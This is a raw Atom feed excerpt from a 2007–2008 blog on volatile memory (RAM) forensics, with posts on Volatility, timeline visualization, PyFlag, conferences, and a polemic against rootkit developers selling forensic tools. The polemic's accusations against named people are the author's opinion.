src="http://3.bp.blogspot.com/_sLNlb50o4n4/R6TBvqI-x3I/AAAAAAAAAA8/W8ZZnBnpQQI/s400/Timeline_file.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5162464097383401330" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In the next image, we augment the time line with events extracted using live response techniques, one type of run time state analysis. Live response allows us to extract events about objects that were active on the system when acquisition was performed.  This could be extracted with your typical live response toolkit (&lt;a href="http://code.google.com/p/rapier/"&gt;RAPIER&lt;/a&gt;, &lt;a href="http://www.foolmoon.net/security/wft/"&gt;WFT&lt;/a&gt;,etc). The red dots in this image are used to denote when a process was created.  Unlike the file system events, this is a duration event since it has both a start time and an end time.  In this image, the end time relates to when the live response was performed, represented by the gray dot.   The green dot, another instantaneous event, represent when a process binds a specific port address to its socket. This augmented time line can be seen in the following image.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_sLNlb50o4n4/R6THl6I-x6I/AAAAAAAAABU/1udp8YHl2gY/s1600-h/Timeline_lr.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_sLNlb50o4n4/R6THl6I-x6I/AAAAAAAAABU/1udp8YHl2gY/s400/Timeline_lr.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5162470526949443490" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The final image demonstrates how using volatile memory (RAM) analysis to perform run time state analysis can be used to further augment our temporal reconstruction of the digital crime scene.  In this case, the temporal events were extracted from volatile memory using Volatility.  In contrast to the previous image, we are not only able to augment the time line with those objects that where active when live response was performed but also with objects that may have been relinquished by the operating system.  The blue dots in the image once again represent file system events.  The red dots represent process creation events, except this time a process duration event ends with memory acquisition or when a process exited.  The green dots relate to binding sockets and the grey dot relates when memory acquisition was performed.  The final augmented time line can be seen in the following image.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sLNlb50o4n4/R6TCtaI-x5I/AAAAAAAAABM/avVChQqai1s/s1600-h/Timeline_image.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_sLNlb50o4n4/R6TCtaI-x5I/AAAAAAAAABM/avVChQqai1s/s400/Timeline_image.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5162465158240323474" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The purpose of this blog entry was to demonstrate the usefulness of being able to augment temporal reconstruction with both visualization and volatile memory analysis.   In the final image, we can easily see how including volatile memory analysis and visualization allow us exploit temporal locality and volatile context to develop theories about the incident. We have found this to be invaluable during the reconstruction phase of the digital investigations process. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Despite the usefulness of these techniques, it is important to keep in mind that timestamps can be manipulated by a determined adversary and recently tools, such as &lt;a href="http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-foster-liu-update.pdf"&gt;timestomp&lt;/a&gt;, have been created to frustrate temporal reconstructions of filesystems. Recent &lt;a href="http://dx.doi.org/10.1016/j.diin.2004.01.002"&gt;research&lt;/a&gt; has also discussed important considerations for the digital investigator as they work with temporal data. Temporal reconstruction is not the panacea but a digital investigator should combine many types of analysis techniques during their digital investigations.  &lt;br /&gt;&lt;br /&gt;More details to follow ...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-6427813257519660853?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/6427813257519660853/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=6427813257519660853&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/6427813257519660853'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/6427813257519660853'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/02/its-about-time.html' title='It&apos;s about time...'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_sLNlb50o4n4/R6TBvqI-x3I/AAAAAAAAAA8/W8ZZnBnpQQI/s72-c/Timeline_file.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-8237878793796408138</id><published>2008-01-31T09:23:00.000-08:00</published><updated>2008-01-31T09:34:53.983-08:00</updated><title type='text'>Commercial Support for Volatility!</title><content type='html'>While at DoD Cyber Crime last week, numerous members of the &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility&lt;/a&gt; community made me aware of a company attempting to spread misinformation about Volatility. It was broadly suggested that there was no support being offered for Volatility. The goal behind the open development of Volatility was to bring together systems researchers who believed in bettering the state of the digital forensics community. One way that we have been able to continue this open development is by offering customizations and support.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.volatilesystems.com/"&gt;Volatile Systems, LLC&lt;/a&gt; has been providing commercial support and maintenance for Volatility (and our other products) for the past 8 months. In fact, one of the main reasons Volatile Systems, LLC formed was to support the forensics needs of our users who required commercial support contracts. The added benefit of our commercial support contracts is that you are not only getting guaranteed support and access to our team of unparalleled memory analysts, but you are also actively contributing back to the volatile memory analysis community by allowing us to continue the open development of Volatility.&lt;br /&gt;&lt;br /&gt;At this point, we also decided to extend a new offer to those who may be considering spending the thousands of dollars to purchase one of those other commercial products, as they become available. If you are considering investing in one of those products because you think it provides extraction functionality not currently supported in Volatility, contact us and let us know!  In most cases, we would be more than willing to use those funds to build you custom modules providing the same capabilities you desire but tailored to your exact needs. In addition, we would provide you access to the source code, training on how to use the modules, and share information on how they were developed. As we have learned from our experience performing volatile memory analysis, the most valuable thing is often not the tool but the experience and training of the analyst. Knowledge is power!&lt;br /&gt;&lt;br /&gt;On a tangential note, it was encouraging to get all the positive feedback about Volatility at the conference.  We are committed to this growing open community of volatile memory analysts and we are highly appreciative of their support. I also wanted to extend a special thanks to the Volatility community for keeping me updated on this evolving issue.  Little do they know, the &lt;span style="font-weight:bold;"&gt;Order of Volatility&lt;/span&gt; is everywhere!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-8237878793796408138?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/8237878793796408138/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=8237878793796408138&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/8237878793796408138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/8237878793796408138'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/01/commercial-support-for-volatility.html' title='Commercial Support for Volatility!'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-6647555905728208921</id><published>2008-01-20T09:31:00.000-08:00</published><updated>2008-01-20T10:46:33.829-08:00</updated><title type='text'>They are playing you for a fool!</title><content type='html'>I have previously talked about this issue before, but based on a number of conversations I had last week at Cyber Crime, I felt it was worth bringing up again. Every time this issue comes up, it reminds me of one of my favorite blog &lt;a href="http://anti-virus-rants.blogspot.com/2006/04/ethical-conflict-in-anti-rootkit.html"&gt;posts&lt;/a&gt;, which talks about the ethical conflict in the rootkit community. I also recently came across this blog &lt;a href="http://www.cerias.purdue.edu/weblogs/spaf/general/post-120/what-did-you-really-expect/"&gt;post&lt;/a&gt; from my former advisor, Spaf, which I found relevant as well.&lt;br /&gt;&lt;br /&gt;One of the main reason why I dedicated myself to researching volatile memory analysis was the fact that the offensive communities and projects were flourishing.  As a result, the sophistication of methods and accessibility to knowledge was continuing to grow unabated in the offensive community. At the time, I felt we drastically needed to have a similar revolution in the defensive community.  A way of bringing together strong systems researchers who were interested in securing our infrastructure.&lt;br /&gt;&lt;br /&gt;Based on the research we were doing at the time, I knew that volatile memory analysis would be an important component of securing those systems and had the potential to disrupt much of the offensive research being performed. As a result, members of our project have spent a great deal of time over the last couple of years writing research papers, giving talks, educating, and developing an open source architecture, in order to inspire research and increase the communal knowledge of the investigative community.  In the process, we have had over 20 different contributors from multiple countries across the world. This includes contributions from numerous law enforcement and forensic agencies. In fact, I have been contacted by many universities that are now, or soon will be, using Volatility in their digital forensic courses.  &lt;br /&gt;&lt;br /&gt;It seems that the work being done in the live memory analysis community has also been successful at getting the attention of the offensive community (esp. rootkit). In fact, they have attempted many times in the last couple of years to disrupt the communal aspects of these projects.  They began by trying to convince people that volatile memory analysis wouldn't work and was ineffective. Their methods changed last year, when they began trying to &lt;a href="http://volatilesystems.blogspot.com/2007/08/black-hat-usa-2007.html"&gt;deceptively patent&lt;/a&gt; techniques that members of the volatile memory analysis community had already presented at conferences. Recently, I have learned that they are now trying to use their companies as real life Trojan horses to undermine and divide the open nature of the volatile memory analysis community.  They are now trying to sell the techniques they had previously argued were ineffective. Once again, trying to capitalize on the problem they created. &lt;br /&gt;&lt;br /&gt; Let's consider the following analogy:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Sadly, your child has been struggling with drug addiction for a number of years. He was recently busted by the police and mandated by the court to attend drug rehabilitation.  Your child's drug dealer was a notorious individual by the name of B.S. Hary. B.S. Hary has never hidden the fact that he sells drugs and, in fact, even wrote a book and teaches classes about advanced drug dealing techniques.  Often flaunting his drug dealing in the face of local law enforcement, who are overburdened dealing with the myriad of drug dealing pupils B.S has released on the streets.  As a result, B.S. Hary's drugs and drug dealing techniques account for the majority of the drug problem currently faced by your community.  &lt;br /&gt;&lt;br /&gt;Recently, B.S. became concerned about the popularity of drug rehabilitation in pop culture. On the one hand, he realized that rehabilitation could be bad for business, but he also figured there was a lot money to be made in rehabilitation.  As a result, he decided that he could not sit idly by and watch his drug business be swept out from under him, so he formulated a plan.  He decided to capitalize on the rehabilitation market while undermining its effectiveness by starting his own rehabilitation company called Addiction Responder.  B.S. Hary even had the brazenness to open Addiction Responder right next door to his crack house.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;span style="font-weight:bold;"&gt;B.S. Hary is hoping to play the community for a fool! &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As a parent, would you be willing to send your child to the Addiction Responder clinic? Knowing that Addiction Responder is run by a notorious drug dealer, do you think the court would be willing to trust a report that acknowledges your child's successful completion of its drug rehabilitation program? Knowing that the owner of Addiction Responder has a crack house right next door to the clinic, do you think the court would have faith in the fidelity of Addiction Responder's rehabilitation capabilities?  Knowing that B.S. sells manufactured drugs out of the crack house right next door, would you be willing to ingest his magic rehabilitation pills? Knowing that the money you give to Addiction Responder for rehabilitation will be used to further his drug cartel, will you be willing to help fund the problem that is tormenting both your family and your community?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Your child's current drug dealer wants to perform his rehab.&lt;br /&gt;You said, no, no, no! &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;On that note, it seems utterly absurd to me that anyone would consider buying volatile memory (RAM) forensics tools from an organization that freely admits to having armed and which continues to arm the enemy with "technology being used to evade forensics and response today."  As a taxpayer, I'm not happy to see that all the government funding they have received for research and development has contributed to the  majority of the rootkits currently found on the Internet today.  As a person involved in forensic investigations, I would not want to be the person responsible for presenting those tools or results in court.  &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Defense Attorney:&lt;/span&gt; Is it true that developers of this "investigation" tool are responsible for the techniques found in the majority of rootkits found on the Internet today?&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Forensic Examiner:&lt;/span&gt; Yes. &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Defense Attorney:&lt;/span&gt; Is it true that the makers of this tool also sell "undetectable" software agents that allows people to secretly spy on a person/companies computers (similar to malware or spyware)?&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Forensic Examiner:&lt;/span&gt; Yes.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Defense Attorney:&lt;/span&gt; Do the developers of this software also develop tools to exploit software, cheat at online games, and build rootkits?&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Forensic Examiner:&lt;/span&gt; Yes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;One of the most important things that I have learned from the forensics and digital investigation communities is that the integrity and trust that can be placed in the collected evidence is often the most important standard. I have been confronted with many situations where we have had to forgo certain types of evidence, because it had the potential to compromise the integrity of investigation and/or case.  How would you like to walk into court knowing that the evidence you collected and analyzed will immediately be called into question and, as a result, ruin the case? What happens when the malware you are investigating, as part of an incident, was written by the same people who wrote your forensic tool? Can you trust that they weren't involved?  &lt;br /&gt;  &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The question is, are you willing to listen to B.S. and be played the fool? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And you wonder why I'm angry.....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-6647555905728208921?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/6647555905728208921/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=6647555905728208921&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/6647555905728208921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/6647555905728208921'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/01/they-are-playing-you-for-fool.html' title='They are playing you for a fool!'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-7256680947120206834</id><published>2008-01-04T16:38:00.001-08:00</published><updated>2008-11-13T08:09:44.089-08:00</updated><title type='text'>PyFlag Using the Volatility Framework!</title><content type='html'>&lt;span style="font-weight:bold;"&gt;It was only a matter of time....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; In case you might have missed it during the holidays, the latest version of &lt;a href="http://www.pyflag.net/"&gt;PyFlag&lt;/a&gt; now leverages the &lt;a href="https://www.volatilesystems.com/VolatileWeb/volatility.gsp"&gt;Volatility Framework&lt;/a&gt; to add volatile memory analysis (RAM Forensics) to it's outstanding list of capabilities.  As a result, making &lt;a href="http://www.pyflag.net"&gt;PyFlag&lt;/a&gt; the first and only tool publically available that allows the digital investigator to correlate disk images, log files, network traffic, and RAM captures all within an intuitive interface. While the current functionality is still preliminary, just imagine the possibilities!&lt;br /&gt;&lt;br /&gt;Since &lt;a href="http://www.pyflag.net/"&gt;PyFlag&lt;/a&gt; loads memory images through its standard IO source interface, it is also now possible to store your memory images using the EWF format, commonly used in commercial tools. Once the memory image is uploaded to &lt;a href="http://www.pyflag.net/"&gt;PyFlag&lt;/a&gt;, information can either be accessed through a browseable /proc interface or through the Stats view. Michael Cohen and his team have provided a &lt;a href="http://www.pyflag.net/cgi-bin/moin.cgi/MemoryForensicsTutorial"&gt;tutorial&lt;/a&gt; and image to get you started.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_sLNlb50o4n4/R37Wlu1PxPI/AAAAAAAAAAM/nrZ3F7iImF0/s1600-h/pflag_cut.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_sLNlb50o4n4/R37Wlu1PxPI/AAAAAAAAAAM/nrZ3F7iImF0/s320/pflag_cut.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5151790967473292530" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_sLNlb50o4n4/R37YM-1PxQI/AAAAAAAAAAU/MbGMZ9fBtGs/s1600-h/pyflag_vfs_cut.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_sLNlb50o4n4/R37YM-1PxQI/AAAAAAAAAAU/MbGMZ9fBtGs/s320/pyflag_vfs_cut.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5151792741294785794" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As I mentioned in a previous post, a special thanks to &lt;a href="http://www.europol.europa.eu/"&gt;Europol&lt;/a&gt; for bringing our teams together through the High Tech Crime Expert Meeting. I also want to thank Michael Cohen for the great work he has done with PyFlag and his contributions to Volatility!  Stay tuned for further exciting collaborations and future Volatility releases in 2008!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-7256680947120206834?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/7256680947120206834/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=7256680947120206834&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/7256680947120206834'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/7256680947120206834'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2008/01/volatile-memory-analysis-using-pyflag.html' title='PyFlag Using the Volatility Framework!'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sLNlb50o4n4/R37Wlu1PxPI/AAAAAAAAAAM/nrZ3F7iImF0/s72-c/pflag_cut.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-4284460205133240600</id><published>2007-11-14T19:37:00.000-08:00</published><updated>2007-11-14T19:42:17.121-08:00</updated><title type='text'>The Hague</title><content type='html'>I've just returned from a wonderful trip to the Netherlands.  I want to thank the extremely nice people from &lt;a href="http://www.europol.europa.eu/"&gt;Europol&lt;/a&gt; who invited me to brief their high tech crime experts about the latest advancements in volatile memory analysis. It's encouraging to see that the major police organizations of the European Union appreciate both the importance of and potential for volatile memory analysis. They also understand the role it will play in the future of digital investigations. &lt;br /&gt;&lt;br /&gt;During this trip, I also had the pleasure of meeting a number of people whom I've exchanged emails with over the years.  For many of them, it was great to finally be able to associate a face with a name. In fact, this was definitely one of the major highlights of my trip. In particular, I look forward to future collaborations with both Jon Evans and Michael Cohen, who both gave outstanding presentations.  &lt;br /&gt;&lt;br /&gt;While in the Netherlands, I also had the opportunity to meet up with Robert Jan Mora, Bas Kloet, and Joachim Metz from &lt;a href="http://www.hoffmannbv.nl/"&gt;Hoffmann Investigations&lt;/a&gt;. Hoffmann Investigations is lucky to have such a bright group of forensics researchers.  Not to mention, they are also really good at reading a menu for those not brave enough for the mystery meal! Hopefully, they will make it back to the US for &lt;a href="http://dfrws.org/2008/index.shtml"&gt;DFRWS 2008&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-4284460205133240600?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/4284460205133240600/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=4284460205133240600&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/4284460205133240600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/4284460205133240600'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2007/11/hague.html' title='The Hague'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-3373940840304801963</id><published>2007-10-10T10:57:00.000-07:00</published><updated>2007-10-10T11:03:02.600-07:00</updated><title type='text'>2008 Cyber Crime Conference</title><content type='html'>The &lt;a href="http://www.technologyforums.com/8CC/trackagenda.asp"&gt;agenda &lt;/a&gt; for the &lt;a href="http://www.technologyforums.com/8CC/"&gt;2008 DoD Cyber Crime Conference&lt;/a&gt; has been posted.  I'll be giving a talk during the Research and Development Track at 0830 January 16, 2008.  In this talk I will be discussing the latest advancements in the area of Volatile Memory Analysis and how they affect the way we perform digital investigations.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Title:&lt;/span&gt;&lt;br /&gt;Advanced Volatile Memory Analysis&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Abstract:&lt;/span&gt;&lt;br /&gt;This session will focus on advanced techniques being used in volatile memory analysis (VMA) and our experiences while performing VMA. We will also discuss a number of open source tools and resources we have made available to the digital investigation community.  The session will also explore how we are using VMA to perform automated malware analysis.  Finally, we will demonstrate how we are combining VMA with file system analysis to help reconstruct and visualize the digital crime scene.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-3373940840304801963?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/3373940840304801963/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3234362709639100510&amp;postID=3373940840304801963&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/3373940840304801963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3234362709639100510/posts/default/3373940840304801963'/><link rel='alternate' type='text/html' href='http://volatilesystems.blogspot.com/2007/10/2008-cyber-crime-conference.html' title='2008 Cyber Crime Conference'/><author><name>AW</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3234362709639100510.post-8930796354302421894</id><published>2007-08-21T10:43:00.000-07:00</published><updated>2007-08-21T11:08:48.485-07:00</updated><title type='text'>DFRWS 2007</title><content type='html'>Let me begin by saying that DFRWS is one of my favorite conferences of the year.  I highly recommend the conference to anyone interested in the latest research being done in the forensics community. DFRWS has established itself as the main venue for research being done in volatile memory analysis and is able to draw researchers working in this area from across the world.  The organizing committee does an excellent job and the conference keeps getting better every year.  In particular, Matthew Geiger and rest of the CERT team did a wonderful job in hosting the conference this year.&lt;br /&gt;&lt;br /&gt;The keynote address was "Digital Forensics, Covert Monitoring, and Active Methods" given by Greg Hoglund.  Greg discussed what "bad guys" are currently doing and the importance of digital forensics for dealing with these sophisticated attackers.  In particular, he emphasized the importance of volatile memory analysis for detecting these attackers. His presentation also discussed his company's "surveillance" technology that is capable of defeating all conventional anti-virus. During questions Simson asked, how this "surveillance" technology is different than what the "bad guys" are trying to build? He also asked, what differentiates them from the "bad guys"?  Finally, he wanted to know if it was merely related to the fact that they worked for a different "mob"!&lt;br /&gt;&lt;br /&gt;I thought the keynote was entertaining and Greg has a unique perspective, but I would have preferred a keynote from someone who is actually involved in the forensic research community or at least a practitioner in the area. It was too bad that Karl Levitt had to cancel!!  On the other hand, it is interesting that this is the third talk this summer by people who are arming the malware community, discussing the importance of volatile memory analysis. At SyScan, in the talk &lt;a href="http://www.immunitysec.com/downloads/0day_IPO.pdf"&gt;"The IPO of the 0 day"&lt;/a&gt; Justine Aitel of Immunity mentioned "think memory dump analysis" when performing incident response.  At Black Hat, Jamie Butler of Mandiant also discussed the importance of volatile memory analysis and demonstrated his desire to stunt research and collaboration by filing patents on other peoples work (I hope those bonuses are worth it!). Now that the offensive community is beginning to focus their attention on volatile memory analysis, hopefully more investigators will realize the importance of integrating volatile memory analysis into the digital investigation process.&lt;br /&gt;&lt;br /&gt;The first talk to discuss volatile memory analysis was &lt;a href="http://dfrws.org/2007/proceedings/p114-arasteh.pdf"&gt;"Forensic Memory Analysis: From Stack and Code to Execution History"&lt;/a&gt;, which was presented by Mohamed Saleh.  Personally, I liked the fact that the talk focused more on the analysis being done than on how data structures can be extracted from memory.  In the talk they discuss a formal approach to analyzing stack memory of process threads to infer execution history. I also like the approach of combining volatile memory analysis with static analysis.  We have been leveraging a similar approach with the &lt;a href="http://www.4tphi.net/fatkit/papers/fatkit_journal.pdf"&gt;FATKit research&lt;/a&gt; and found it very powerful. I wish the student who worked on the research had been there to present it. I would have enjoyed discussing some of the issues we faced when analyzing larger and more complex programs.&lt;br /&gt;&lt;br /&gt;Another intriguing talk was given by Brendan F Dolan-Gavitt called "&lt;a href="http://dfrws.org/2007/proceedings/p62-dolan-gavitt.pdf"&gt;The VAD Tree: A Process-Eye View of Physical Memory"&lt;/a&gt;.  Brendan is one of the main people that Jamie ripped off in his Black Hat talk, so it was good to finally see him present his own work. His talk discussed how an investigator can use the Virtual Address Descriptor (VAD) trees found in memory to improve volatile memory analysis.  He discussed how to parse the tree and a number of different antiforensic techniques that an investigator needs to be aware of.  He also mentioned how the VAD can be used to augment the techniques we presented in "&lt;a href="http://www.4tphi.net/fatkit/papers/fatkit_dll_rc3.pdf"&gt;FATKit: Detecting Malicious Library Injection and Upping the 'Anti'"&lt;/a&gt; to detect advanced DLL injection attacks. Brendan did some great work on this research and is a really nice guy. Not to mention, he also helped integrate these tools into &lt;a href="http://www.volatilesystems.com/VolatileWeb/volatility.gsp"&gt;Volatility&lt;/a&gt;.  I can't wait to see what he decides to work on next.&lt;br /&gt;&lt;br /&gt;The final talk relevant to volatile memory analysis was presented by Bradley Schatz, who presented &lt;a href="http://dfrws.org/2007/proceedings/p126-schatz.pdf"&gt;"BodySnatcher: Towards reliable volatile memory acquisition by software"&lt;/a&gt;. Bradley began by presenting an abstract model for comparing volatile memory acquisition techniques.  Then Bradley presented a new method for memory acquisition that attempts to snatch control of the host hardware from the running OS. A host specific kernel driver is used to load a minimized acquisition focused operating system into memory, it then halts the running kernel and switches control to the acquisition operating system. The acquisition operating system then preserves the host memory, initializes an output device, and copies the memory image to the output device. Finally he compares his software based acquisition method with using Garner's dd.  Surprisingly, the paper concludes that using BodySnatcher is less obtrusive than running Garner's dd.  I am astounded by the fact that loading an entirely new OS would be less obtrusive than running a single userland application. There is also another difference which must be mentioned: Once BodySnatcher runs, it freezes the state of the system and you will not be able to unfreeze the system.  It will be exciting to see if Bradley will be able to overcome the limitations that he mentions in the paper and address the comments made during the presentation.  I also want to wish Bradley luck with his new company &lt;a href="http://www.evimetry.com/"&gt;Evimetry&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;During the Work in Progress session, I gave a quick talk on &lt;a href="http://www.volatilesystems.com/VolatileWeb/volatility.gsp"&gt;Volatility&lt;/a&gt; and I discussed some of the things we are currently working on.  The first being a collaboration with Doug White of NIST to make some new resources available to the volatile memory analysis community.  The second being work that we are doing on malware analysis. Finally, I showed a screen shot of a visualization tool we have built for combining filesystem and volatile memory analysis to visualize temporal relationships during investigations. I will discuss this tool in more detail in an upcoming post.&lt;br /&gt;&lt;br /&gt;Golden Richard and Vassil Roussev also gave an very intriguing WIP on the persistence of volatile evidence.  During this talk they discussed research they had performed with their students to determine how long artifacts exist in memory once power has been removed from the machine.  They presented some interesting results related to different types of machines and how long digital artifacts can be recovered once power is removed.  I have heard numerous people speculate about this, so it is nice to see people actually taking time to investigate it.&lt;br /&gt;&lt;br /&gt;If you are interested, the &lt;a href="http://www.dfrws.org/2007/program.shtml"&gt;DFRWS 2007 papers&lt;/a&gt; have been posted.  Hope to see you next year at DFRWS 2008 in Baltimore!!!&lt;/http:&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3234362709639100510-8930796354302421894?l=volatilesystems.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://volatilesystems.blogspot.com/feeds/8930796354302421894/comments/default' 